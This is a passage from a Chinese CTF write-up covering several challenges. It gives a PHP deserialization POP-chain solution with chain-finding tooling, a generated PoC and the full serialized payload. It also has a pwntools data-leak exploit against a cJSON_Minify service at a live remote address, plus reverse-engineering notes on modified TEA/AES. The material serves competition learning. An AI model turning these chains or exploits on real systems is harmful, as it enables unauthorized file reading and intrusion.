\u0026#34;__invoke\u0026#34; in line: l1, l2 = FILE[i + 1], FILE[i + 2] key = re.search(r\u0026#39;\\$key = base64_decode\\(\\\u0026#39;(.*)\\\u0026#39;\\);\u0026#39;, l1)[1] key = b64decode(key.encode()).decode() pattern = re.search(r\u0026#39;\\$this\\-\\\u0026gt;(.*)\\-\\\u0026gt;(.*)\\(\\$value\\[\\$key\\]\\);\u0026#39;, l2) try: obj_name, use_func = pattern[1], pattern[2] except: print(line) print(l1) print(l2) new_code = [] new_code.append(\u0026#39; public function %s($value) {\\n\u0026#39; % key) new_code.append(\u0026#39; if (is_callable([$this-\u0026gt;%s, %s])) @$this-\u0026gt;%s-\u0026gt;%s($value);\\n\u0026#39; % (obj_name, use_func, obj_name, use_func)) new_code.append(\u0026#39; }\\n\u0026#39;) for j in new_code: fo.write(j.encode()) i += 3 else: fo.write((line + \u0026#39;\\n\u0026#39;).encode()) i += 1 fp.close() fo.close() erase_invoke(\u0026#39;class.code.txt\u0026#39;, \u0026#39;mid_class.txt\u0026#39;) erase_call(\u0026#39;mid_class.txt\u0026#39;, \u0026#39;final_class.txt\u0026#39;) 在最终代码里手动把 namespace christmasTree 里去掉，之后进行 PHP_Paser 对这份代码进行语法树构建分析：\n\u0026lt;?php ini_set(\u0026#39;memory_limit\u0026#39;, \u0026#39;1024M\u0026#39;); require \u0026#39;path\\to\\autoload.php\u0026#39;; error_reporting(0); use PhpParser\\Error; //use to catch error use PhpParser\\NodeDumper; //use to read node use PhpParser\\ParserFactory; //use to anlaysis code use PhpParser\\PrettyPrinter; $inputPhpFile = \u0026#39;final_class.txt\u0026#39;; $code = file_get_contents($inputPhpFile); $parser = (new ParserFactory)-\u0026gt;create(ParserFactory::PREFER_PHP7); try { $stmts = $parser-\u0026gt;parse($code); } catch (Error $e) { echo \u0026#34;Parse error:{$e-\u0026gt;getMessage()}\\n\u0026#34;; exit(0); } echo \u0026#34;[+] get file done\\n\u0026#34;; $deleteCnt = 0; $deleteCla = 0; $nodeDumper = new NodeDumper; $class_num = 0; $func_list = array(); $fp = fopen(\u0026#34;function_list.txt\u0026#34;, \u0026#34;wb\u0026#34;); $fo = fopen(\u0026#34;deploy_list.txt\u0026#34;, \u0026#34;wb\u0026#34;); $fd = fopen(\u0026#34;destination.txt\u0026#34;, \u0026#34;wb\u0026#34;); foreach ($stmts as $k =\u0026gt; $class_point) { if ($class_point-\u0026gt;gettype() === \u0026#39;Stmt_Nop\u0026#39;) continue; if ($class_point-\u0026gt;gettype() === \u0026#39;Stmt_Class\u0026#39;){ $class_name = $class_point-\u0026gt;name-\u0026gt;name; $class_num++; foreach ($class_point-\u0026gt;stmts as $kk =\u0026gt; $subpoint) { if ($subpoint-\u0026gt;gettype() === \u0026#39;Stmt_Nop\u0026#39;) continue; if ($subpoint-\u0026gt;gettype() === \u0026#39;Stmt_Property\u0026#39;) { ; } if ($subpoint-\u0026gt;gettype() === \u0026#34;Stmt_ClassMethod\u0026#34;) { $func_name = $subpoint-\u0026gt;name-\u0026gt;name; if ($func_name === \u0026#39;__destruct\u0026#39;) { $entrance = $class_name; break; } if (!$subpoint-\u0026gt;params) { continue; } $parms = $subpoint-\u0026gt;params[0]-\u0026gt;var-\u0026gt;name; fwrite($fp, $class_name.\u0026#39; \u0026#39;.$func_name.\u0026#34;\\n\u0026#34;); $pass_way = \u0026#34;pass\u0026#34;; foreach ($subpoint-\u0026gt;stmts as $kkk =\u0026gt; $method_point) { if ($method_point-\u0026gt;gettype() === \u0026#39;Stmt_Expression\u0026#39;) { $assign_1 = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;var-\u0026gt;name; $use_func = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;expr-\u0026gt;name-\u0026gt;parts[0]; $assign_2 = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;expr-\u0026gt;args[0]-\u0026gt;value-\u0026gt;name; if($use_func === null) { $assign_2 = $method_point-\u0026gt;expr-\u0026gt;expr-\u0026gt;expr-\u0026gt;name; $use_func = \u0026#34;pass\u0026#34;; } else { $func_list[$use_func] = 1; } if($assign_1 !== $assign_2) break; $pass_way = $use_func; if(in_array($pass_way, array(\u0026#34;sha1\u0026#34;, \u0026#34;md5\u0026#34;, \u0026#34;crypt\u0026#34;))) { break; } } else if($method_point-\u0026gt;gettype() === \u0026#39;Stmt_If\u0026#39;) { if ($method_point-\u0026gt;stmts[0]-\u0026gt;expr-\u0026gt;name-\u0026gt;parts[0] == \u0026#34;readfile\u0026#34;) { fwrite($fd, $class_name.\u0026#39; \u0026#39;.$func_name.\u0026#39; \u0026#39;.$parms.\u0026#34;\\n\u0026#34;); break; } $use_obj = $method_point-\u0026gt;stmts[0]-\u0026gt;expr-\u0026gt;expr-\u0026gt;var-\u0026gt;name-\u0026gt;name; $use_func = $method_point-\u0026gt;stmts[0]-\u0026gt;expr-\u0026gt;expr-\u0026gt;name-\u0026gt;name; fwrite($fo, $class_name.\u0026#39; \u0026#39;.$func_name.\u0026#39; \u0026#39;.$use_obj.\u0026#34; \u0026#34;.$use_func.\u0026#34; \u0026#34;.$pass_way.\u0026#34;\\n\u0026#34;); } } } } } } echo \u0026#39;[+] filter done\u0026#39; . \u0026#34;\\n\u0026#34;; echo $entrance; fclose($fp); fclose($fo); 构建把所有类的名称，函数，终点的类的函数，以及函数调用关系分别存储起来。 其中有一些污点过滤，比如 md5, sha1, ucfirst, crypt 的调用直接无视，赋值两边参数不等的也直接无视，另外发现 base64 解码的时候出现的不可见字符也会对后面产生影响，故把所有进行 base64_decode 部分全部剪掉。\n然后手动加一下 __destruct 在文件里，把这三个文件放在一起，然后用C语言寻找可行链。\n#include\u0026lt;bits/stdc++.h\u0026gt; using namespace std; #define mem(a,b) memset(a,b,sizeof(a)) typedef long long LL; typedef pair\u0026lt;string, string\u0026gt; PII; #define X first #define Y second inline int read() { int x = 0, f = 1; char c = getchar(); while(!isdigit(c)){if(c == \u0026#39;-\u0026#39;)f = -1;c = getchar();} while(isdigit(c)){x = x * 10+ c-\u0026#39;0\u0026#39;; c = getchar();} return x * f; } const int maxn = 20010; struct Edge { int u, v, next; PII w; Edge(){} Edge(int _1, int _2, int _3, string _4, string _5): u(_1), v(_2), next(_3) { w = make_pair(_4,_5); } }e[maxn\u0026lt;\u0026lt;4]; int first[maxn], ce = -1, tot, tag[maxn]; string name[maxn], func[maxn], use[maxn]; struct Class { string name, func; Class() {} Class(string _1, string _2):name(_1), func(_2) {}\tbool operator \u0026lt; (const Class \u0026amp;s)const{ if(name == s.name){ return func \u0026lt; s.func; } return name \u0026lt; s.name; } }a[maxn]; int pre[maxn], n; PII prew[maxn]; void addEdge(int a,int b, string c,string d) { e[++ce] = Edge(a, b, first[a], c, d); first[a] = ce; }\tmap\u0026lt;Class, int\u0026gt; M; int match(Class A,string use_func, string use_obj, string pass) { for (int i = 1; i \u0026lt;= n; i++) { if (M[A] == i) continue; if (use_func == a[i].func) { addEdge(M[A], M[a[i]], use_obj, pass); } } } bool vis[maxn]; int count_chain; void dfs(int now, int fa) { vis[now] = 1; if (tag[now]) { count_chain ++; int tmp = now; cout \u0026lt;\u0026lt; a[tmp].name \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; a[tmp].func \u0026lt;\u0026lt; endl; string use_obj = prew[tmp].X, pass_way = prew[tmp].Y; tmp = pre[tmp]; while(tmp != -1) { cout \u0026lt;\u0026lt; a[tmp].name \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; a[tmp].func \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; use_obj \u0026lt;\u0026lt; \u0026#39; \u0026#39; \u0026lt;\u0026lt; pass_way \u0026lt;\u0026lt; endl; use_obj = prew[tmp].X, pass_way = prew[tmp].Y; tmp = pre[tmp]; } cout \u0026lt;\u0026lt; endl; return; } for (int i = first[now]; i != -1; i = e[i].next) { if(e[i].v != fa \u0026amp;\u0026amp; !vis[e[i].v]) { if(e[i].w.Y == \u0026#34;base64_encode\u0026#34;)continue; if(e[i].w.Y == \u0026#34;ucfirst\u0026#34;)continue; pre[e[i].v] = now; prew[e[i].v] = e[i].w; dfs(e[i].v, now); } } } int main() { mem(first, -1); freopen(\u0026#34;data.txt\u0026#34;, \u0026#34;rb\u0026#34;, stdin); freopen(\u0026#34;ans.txt\u0026#34;, \u0026#34;w\u0026#34;, stdout); int start = 1; n = read(); string params; for (int i = 1; i \u0026lt;= n; i++) { cin \u0026gt;\u0026gt; name[i] \u0026gt;\u0026gt; func[i]; a[i] = Class(name[i], func[i]); M[a[i]] = i; } int m = read(); for(int i=1;i\u0026lt;=m;i++){ string class_name, func_name, use_obj, use_func, pass_way; cin \u0026gt;\u0026gt; class_name \u0026gt;\u0026gt; func_name \u0026gt;\u0026gt; use_obj \u0026gt;\u0026gt; use_func \u0026gt;\u0026gt; pass_way;//$class_name.\u0026#39; \u0026#39;.$func_name.\u0026#39; \u0026#39;.$use_obj.\u0026#34; \u0026#34;.$use_func.\u0026#34; \u0026#34;.$pass_way int id = 1; for (int j = 1; j \u0026lt;= n; j++) if (class_name == name[j] \u0026amp;\u0026amp; func_name == func[j]) { id = j; break; } match(a[id], use_func, use_obj, pass_way); } int o = read(); for (int i = 1; i \u0026lt;= o; i++) { string x, y, z; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y \u0026gt;\u0026gt; z; int id = 0; for (int j = 1; j \u0026lt;= n; j++) if(x == name[j] \u0026amp;\u0026amp; y == func[j]) { id=j; break; } if(id==0)cout\u0026lt;\u0026lt;x\u0026lt;\u0026lt;\u0026#39; \u0026#39;\u0026lt;\u0026lt;y\u0026lt;\u0026lt;endl; tag[id] = 1; } pre[start] = -1; dfs(start, -1); cout\u0026lt;\u0026lt;count_chain; return 0; } 刚好只有一条可行链，倒序打印链：\nAN9pNsmlT Fhh5TZoD0 Ugh4SYk00D bLqi60vf tQF7ER str_rot13 xEFW8yw08 gvgCPyi nYuAuh2 str_rot13 Xl5V1fEbzD Z5G5uz fgVgm4TV97 pass d9vgRnlEA trZx9DLGq T4rUU9R base64_decode Ronyv7u Uaxr3XOrz uDQ0ehd4p strrev T6Y5QYS GP5h5gz p9mwE7l str_rot13 SKVnfvfbas gkbXYD UOvWbl pass o5d0ioNZ vBmg2S exGoDOPm str_rot13 FK0LfIlrxm uxVcfoc gZ9IzdbF6T pass eHSt3I5L30 YbMfp8D9 exoEH1 pass c76So3oF EttYcl6 cwQWOIEL strrev u1q3m04qZb EtQ6pQB NGIlAGGLv pass xT506K QiVLzL Dblxvn pass p6NArTi YgmXN30 VbpsE7wqUH base64_decode ezlgUUHCdQ lwUpo3 fDViVU pass uGnuU5pGgQ cc60Kte4Em XbW5o6yiGv base64_decode GGcIkQ6E a2l0Eeqr CK5OgoyC strrev vS1qenzGWr kR5Y66g yrVWMn9 pass amg2Vw __destruct PCR49GlRM pass 根据上述链的写脚本构造 poc：\nfp = open(\u0026#39;popchain.txt\u0026#39;, \u0026#39;r\u0026#39;) fo = open(\u0026#39;poc.php\u0026#39;, \u0026#39;w\u0026#39;) fo.write(\u0026#39;\u0026lt;?php\\nnamespace christmasTree{\\n\u0026#39;) line_list = [] for line in fp.readlines(): line = line.replace(\u0026#39;\\n\u0026#39;, \u0026#39;\u0026#39;) line_list.append(line) line_list = line_list[::-1] for i, line in enumerate(line_list[:-1]): class_name, func_name, use_obj, _ = line.split(\u0026#39; \u0026#39;) if i == 0: start_point = class_name next_name = line_list[i + 1].split(\u0026#39; \u0026#39;)[0] print(class_name, func_name, use_obj, next_name) payload = \u0026#39;\u0026#39;\u0026#39;class %s{ public $%s; public function __construct(){ $this-\u0026gt;%s = new %s(); } } \u0026#39;\u0026#39;\u0026#39; % (class_name, use_obj, use_obj, next_name) fo.write(payload + \u0026#39;\\n\u0026#39;) class_name, func_name = line_list[-1].split(\u0026#39; \u0026#39;) payload = \u0026#39;\u0026#39;\u0026#39;class %s{ public $%s; } \u0026#39;\u0026#39;\u0026#39; % (class_name, use_obj) fo.write(payload + \u0026#39;\\necho urlencode(serialize(new %s()));}\u0026#39; % start_point) print(class_name, func_name) 生成的 poc 不能直接打通，因为要求类内所有 public 属性都要进行赋值，对生成的 poc 还需要手动修改，对未利用的对象赋为 stdClass() 最终的poc：\n\u0026lt;?php namespace christmasTree{ class amg2Vw{ public $PCR49GlRM; public function __construct(){ $this-\u0026gt;PCR49GlRM = new vS1qenzGWr(); } } class vS1qenzGWr{ public $yrVWMn9; public $S839pvNRU; public function __construct(){ $this-\u0026gt;yrVWMn9 = new GGcIkQ6E(); $this-\u0026gt;S839pvNRU = new \\stdClass(); } } class GGcIkQ6E{ public $CK5OgoyC; public $Vkyud3; public function __construct(){ $this-\u0026gt;CK5OgoyC = new uGnuU5pGgQ(); $this-\u0026gt;Vkyud3 = new \\stdClass(); } } class uGnuU5pGgQ{ public $XbW5o6yiGv; public $XEH9BQ; public function __construct(){ $this-\u0026gt;XbW5o6yiGv = new ezlgUUHCdQ(); $this-\u0026gt;XEH9BQ = new \\stdClass(); } } class ezlgUUHCdQ{ public $fDViVU; public function __construct(){ $this-\u0026gt;fDViVU = new p6NArTi(); } } class p6NArTi{ public $VbpsE7wqUH; public $yKwNrpRAQ; public function __construct(){ $this-\u0026gt;VbpsE7wqUH = new xT506K(); $this-\u0026gt;yKwNrpRAQ = new \\stdClass(); } } class xT506K{ public $Dblxvn; public $sPEbogX4; public function __construct(){ $this-\u0026gt;Dblxvn = new u1q3m04qZb(); $this-\u0026gt;sPEbogX4 = new \\stdClass(); } } class u1q3m04qZb{ public $NGIlAGGLv; public function __construct(){ $this-\u0026gt;NGIlAGGLv = new c76So3oF(); } } class c76So3oF{ public $cwQWOIEL; public $rHYG3Wr; public function __construct(){ $this-\u0026gt;cwQWOIEL = new eHSt3I5L30(); $this-\u0026gt;rHYG3Wr = new \\stdClass(); } } class eHSt3I5L30{ public $exoEH1; public $UO4yLd; public function __construct(){ $this-\u0026gt;exoEH1 = new FK0LfIlrxm(); $this-\u0026gt;UO4yLd = new \\stdClass(); } } class FK0LfIlrxm{ public $gZ9IzdbF6T; public $Q7mg44bg; public function __construct(){ $this-\u0026gt;gZ9IzdbF6T = new o5d0ioNZ(); $this-\u0026gt;Q7mg44bg = new \\stdClass(); } } class o5d0ioNZ{ public $exGoDOPm; public $TEODq2c3Uo; public function __construct(){ $this-\u0026gt;exGoDOPm = new SKVnfvfbas(); $this-\u0026gt;TEODq2c3Uo = new \\stdClass(); } } class SKVnfvfbas{ public $UOvWbl; public $m4pnFndZoX; public function __construct(){ $this-\u0026gt;UOvWbl = new T6Y5QYS(); $this-\u0026gt;m4pnFndZoX = new \\stdClass(); } } class T6Y5QYS{ public $p9mwE7l; public $aysl2yR5g; public function __construct(){ $this-\u0026gt;p9mwE7l = new Ronyv7u(); $this-\u0026gt;aysl2yR5g = new \\stdClass(); } } class Ronyv7u{ public $uDQ0ehd4p; public $uqkULP0XD; public function __construct(){ $this-\u0026gt;uDQ0ehd4p = new d9vgRnlEA(); $this-\u0026gt;uqkULP0XD = new \\stdClass(); } } class d9vgRnlEA{ public $T4rUU9R; public function __construct(){ $this-\u0026gt;T4rUU9R = new Xl5V1fEbzD(); } } class Xl5V1fEbzD{ public $fgVgm4TV97; public function __construct(){ $this-\u0026gt;fgVgm4TV97 = new xEFW8yw08(); } } class xEFW8yw08{ public $nYuAuh2; public function __construct(){ $this-\u0026gt;nYuAuh2 = new Ugh4SYk00D(); } } class Ugh4SYk00D{ public $tQF7ER; public function __construct(){ $this-\u0026gt;tQF7ER = new AN9pNsmlT(); } } class AN9pNsmlT{ public $Ipz7D3; public function __construct(){ $this-\u0026gt;Ipz7D3 = new \\stdClass(); } } echo urlencode(serialize(new amg2Vw()));} 同时对pop链中的所有编码过程进行逆向，得到最终要进行读 /fumo 的编码结果：\n\u0026lt;?php $fp = fopen(\u0026#34;popchain.txt\u0026#34;, \u0026#34;r\u0026#34;); $payload = \u0026#39;/fumo\u0026#39;; $line = fgets($fp); $list = array(); while(! feof($fp)) { $line = fgets($fp);//fgets()函数从文件指针中读取一行 array_push($list, trim($line)); $line = trim(explode(\u0026#34; \u0026#34;,$line)[3]); echo $line.\u0026#34;\\n\u0026#34;; if($line === \u0026#34;pass\u0026#34;) { continue; } else if($line === \u0026#34;base64_decode\u0026#34;) { $payload = base64_encode($payload); } else if($line === \u0026#34;ucfirst\u0026#34;) { continue; } else if($line === \u0026#34;strrev\u0026#34;) { $payload = strrev($payload); } else if($line === \u0026#34;str_rot13\u0026#34;) { $payload = str_rot13($payload); } } echo $payload.\u0026#34;\\n\u0026#34;; $list = array_reverse($list); foreach($list as $line){ $line = explode(\u0026#34; \u0026#34;,$line)[3]; if($line === \u0026#34;pass\u0026#34;) { continue; } else if($line === \u0026#34;base64_decode\u0026#34;) { $payload = base64_decode($payload); } else if($line === \u0026#34;ucfirst\u0026#34;) { continue; } else if($line === \u0026#34;strrev\u0026#34;) { $payload = strrev($payload); } else if($line === \u0026#34;str_rot13\u0026#34;) { $payload = str_rot13($payload); } } echo $payload; fclose($fp); 最终序列化链：\nO%3A20%3A%22christmasTree%5Camg2Vw%22%3A1%3A%7Bs%3A9%3A%22PCR49GlRM%22%3BO%3A24%3A%22christmasTree%5CvS1qenzGWr%22%3A2%3A%7Bs%3A7%3A%22yrVWMn9%22%3BO%3A22%3A%22christmasTree%5CGGcIkQ6E%22%3A2%3A%7Bs%3A8%3A%22CK5OgoyC%22%3BO%3A24%3A%22christmasTree%5CuGnuU5pGgQ%22%3A2%3A%7Bs%3A10%3A%22XbW5o6yiGv%22%3BO%3A24%3A%22christmasTree%5CezlgUUHCdQ%22%3A1%3A%7Bs%3A6%3A%22fDViVU%22%3BO%3A21%3A%22christmasTree%5Cp6NArTi%22%3A2%3A%7Bs%3A10%3A%22VbpsE7wqUH%22%3BO%3A20%3A%22christmasTree%5CxT506K%22%3A2%3A%7Bs%3A6%3A%22Dblxvn%22%3BO%3A24%3A%22christmasTree%5Cu1q3m04qZb%22%3A1%3A%7Bs%3A9%3A%22NGIlAGGLv%22%3BO%3A22%3A%22christmasTree%5Cc76So3oF%22%3A2%3A%7Bs%3A8%3A%22cwQWOIEL%22%3BO%3A24%3A%22christmasTree%5CeHSt3I5L30%22%3A2%3A%7Bs%3A6%3A%22exoEH1%22%3BO%3A24%3A%22christmasTree%5CFK0LfIlrxm%22%3A2%3A%7Bs%3A10%3A%22gZ9IzdbF6T%22%3BO%3A22%3A%22christmasTree%5Co5d0ioNZ%22%3A2%3A%7Bs%3A8%3A%22exGoDOPm%22%3BO%3A24%3A%22christmasTree%5CSKVnfvfbas%22%3A2%3A%7Bs%3A6%3A%22UOvWbl%22%3BO%3A21%3A%22christmasTree%5CT6Y5QYS%22%3A2%3A%7Bs%3A7%3A%22p9mwE7l%22%3BO%3A21%3A%22christmasTree%5CRonyv7u%22%3A2%3A%7Bs%3A9%3A%22uDQ0ehd4p%22%3BO%3A23%3A%22christmasTree%5Cd9vgRnlEA%22%3A1%3A%7Bs%3A7%3A%22T4rUU9R%22%3BO%3A24%3A%22christmasTree%5CXl5V1fEbzD%22%3A1%3A%7Bs%3A10%3A%22fgVgm4TV97%22%3BO%3A23%3A%22christmasTree%5CxEFW8yw08%22%3A1%3A%7Bs%3A7%3A%22nYuAuh2%22%3BO%3A24%3A%22christmasTree%5CUgh4SYk00D%22%3A1%3A%7Bs%3A6%3A%22tQF7ER%22%3BO%3A23%3A%22christmasTree%5CAN9pNsmlT%22%3A1%3A%7Bs%3A6%3A%22Ipz7D3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D%7D%7D%7Ds%3A9%3A%22uqkULP0XD%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22aysl2yR5g%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22m4pnFndZoX%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22TEODq2c3Uo%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A8%3A%22Q7mg44bg%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22UO4yLd%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A7%3A%22rHYG3Wr%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A8%3A%22sPEbogX4%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22yKwNrpRAQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A6%3A%22XEH9BQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22Vkyud3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22S839pvNRU%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D 然后调用的参数：9ADRPhlSX1UYKREV 即可读到 /fumo\nPwn dataleak 核心是调用了 cJSON_Minify 这个函数，这个函数差不多就是省略调所有的注释，读给的 libc 的源码可以发现，/* 在判断 \\x00 后仍然有 +=2 这个操作于是可以弥补调读入 0xe 剩下的两个空字节，然后可以分段泄露出data\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./cJSON_PWN\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.23.so\u0026#34;) else: p = remote(\u0026#34;124.70.202.226\u0026#34;, 2101) def debugf(b=0): if debug: if b: gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./cJSON_PWN\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) debugf(0x120D) # sn(b\u0026#34;a\u0026#34;*14) # sn(p64(elf.got[\u0026#34;read\u0026#34;])) sn(b\u0026#34;aaaaaaaaaaa/*a\u0026#34;) sn(b\u0026#34;aaaaa/*\u0026#34; + b\u0026#34;b\u0026#34;*7) sn(b\u0026#34;aaaaa/*\u0026#34; + b\u0026#34;a\u0026#34;*7) sn(b\u0026#34;/*\u0026#34; + b\u0026#34;b\u0026#34;*12) p.interactive() Re godness dance 输入长度 28\n上来是个哈希表做字母频率统计，i 和 u 出现两次，其余 a-z 出现一次\n然后将 0-28 依次放到一个数组里，看了一下密文，发现也是 0-28\n后面的逻辑每分析出来，于是尝试选择明文攻击（后来得知后面的逻辑只是混淆）\ninput: abcdefghijklmnopqrstuvwxyziu output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 27, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 26 input: abcdefghijklmnopqrstuvwxyzui output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 28, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 27, 21, 22, 23, 24, 25, 26 input: abcdefghijklmnopqrstuvwxyizu output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 26, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 27 input: zyxwvutsrqponmlkjihgfedcbaiu output: 0, 26, 25, 24, 23, 22, 21, 20, 19, 18, 27, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 28, 6, 5, 4, 3, 2, 1 input: bacdefghijklmnopqrstuvwxyziu output: 0, 2, 1, 3, 4, 5, 6, 7, 8, 9, 27, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 26 flag: waltznymphforquickjigsvexbud target: 0, 2, 26, 17, 28, 24, 11, 21, 10, 16, 20, 19, 18, 3, 8, 6, 12, 9, 14, 13, 22, 4, 27, 15, 23, 1, 25, 7, 5 根据动调的结果，判断最后的密文就是把 a-z 的 index 依次放上来\n手动还原 flag\nCPlusExceptionEncrypt 异常处理，在所有的 begin_catch 下面下断点就能恢复流程\n第一个加密是魔改后的tea\nv0 += (sum + i) ^ (((v1 \u0026gt;\u0026gt; 5) + k3) ^ (sum1 + v1) ^ ((v1 \u0026lt;\u0026lt; 4) + k2)) v1 += (sum + i) ^ (((v0 \u0026gt;\u0026gt; 5) + k1) ^ (sum1 + v0) ^ ((v0 \u0026lt;\u0026lt; 4) + k0)) tea 之后对计算结果依次异或 s, c, t, f\n随后进行 AES 轮密钥生成，对拍发现没有魔改\n接下来是魔改后的 AES：\n修改了最开始的轮密钥加：每个字节另外异或 0x66 随后执行的应该是 9 轮加密 subbyte 用的是 inv_s_box 然后用的是 inv_shift_rows 然后是正向列混淆 正向的轮密钥加 最后是正常的字节替换，行移位和轮密钥加 解密脚本：\naes.py\nfrom galois import GF2 as _GF2 _aes_s_box = [ [0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76], [0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0], [0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15], [0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75], [0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84], [0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf], [0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8], [0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2], [0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73], [0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb], [0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79], [0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08], [0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a], [0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e], [0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf], [0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16] ] _aes_s_box_inverse = [ [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb], [0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb], [0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e], [0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25], [0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92], [0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84], [0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06], [0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b], [0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73], [0x96, 0xac, 